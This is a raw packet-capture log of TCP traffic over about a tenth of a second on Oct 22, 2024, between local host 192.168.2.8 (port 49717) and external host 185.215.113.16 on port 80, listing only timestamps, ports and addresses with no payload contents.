Oct 22, 2024 19:24:40.494591951 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494599104 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494609118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494623899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494630098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494642019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494652033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494663000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494678020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494687080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494699001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494699001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494699955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494728088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494733095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494739056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494750023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494760036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494761944 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494774103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494796038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494812965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494812965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494828939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494837999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494842052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494852066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494863033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494905949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494905949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494941950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494952917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494962931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494983912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495002031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495011091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495012999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495037079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495049953 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495049953 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495093107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495104074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495114088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495148897 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495148897 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495182991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495243073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495254040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495281935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495292902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495304108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495321989 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495321989 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495353937 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495424986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495445013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495454073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495507956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495517015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495520115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495532036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495558023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495558023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495584965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495596886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495616913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495628119 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495635033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495644093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495656967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495656967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495665073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495676041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495685101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495687962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495702982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495718002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495744944 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495744944 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495907068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495928049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.495949030 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.495990038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496001005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496011972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496025085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496031046 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496054888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496087074 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496087074 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496721983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496736050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496752024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496767998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496779919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496797085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496798038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496798038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496809959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496820927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496838093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496840954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496849060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496859074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496861935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496875048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496895075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496897936 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496906996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496922970 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496928930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496933937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496939898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.496941090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496941090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496983051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.496983051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497047901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497060061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497072935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497100115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497126102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497137070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497148037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497160912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497170925 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497235060 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497245073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497271061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497282982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497292042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497303009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497309923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497313976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497325897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497356892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497356892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497360945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497373104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497383118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497392893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497402906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497414112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497420073 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497442961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497448921 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497453928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497467041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497477055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497484922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497497082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497503996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497508049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497520924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497534990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497546911 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497553110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497565031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497575998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497591972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497594118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497612953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497631073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497641087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497653008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497656107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497656107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497663975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497692108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497694016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497776031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497879982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497893095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497905016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497941971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497941971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.497951031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497962952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.497975111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.498025894 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.499958038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535000086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535012960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535026073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535056114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535094976 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535269976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535289049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535301924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535329103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535335064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535355091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535366058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535373926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535397053 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535398006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535410881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535448074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535459995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535470009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535485983 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535504103 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535520077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535531044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535542011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535557032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535584927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535584927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535631895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535650969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535661936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535672903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535684109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535708904 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535717010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535721064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535729885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535742998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535761118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535772085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535782099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535790920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535804033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535804033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535809994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535820007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535830975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535841942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535850048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535850048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535852909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.535887003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.535916090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.568856001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.568877935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.568893909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.568905115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.568933010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.568945885 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.569169998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569181919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569212914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569224119 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569235086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569246054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.569252014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.569252014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.569308996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609266996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609287977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609298944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609433889 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609466076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609479904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609493017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609508038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609518051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609519005 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609534979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609554052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609555006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609555006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609564066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609606028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609615088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609616041 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609680891 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609736919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609747887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609759092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609791040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609791040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609819889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609832048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609869003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609879017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609890938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609932899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.609946012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609956980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609973907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.609992981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610002995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610013962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610037088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610037088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610043049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610066891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610104084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610186100 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610208035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610223055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610234022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610249043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610265017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610276937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610289097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610315084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610323906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610327005 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610337019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610347033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610364914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610368967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610378027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610394001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610409021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610418081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610440969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610440969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610452890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610455990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610464096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610476971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610485077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610496998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610501051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610507965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610512972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610521078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610541105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610559940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610570908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610580921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610601902 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610667944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610696077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610721111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610730886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610816002 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.610826015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610836029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.610847950 CEST	80	49717	185.215.113.16	192.168.2.8
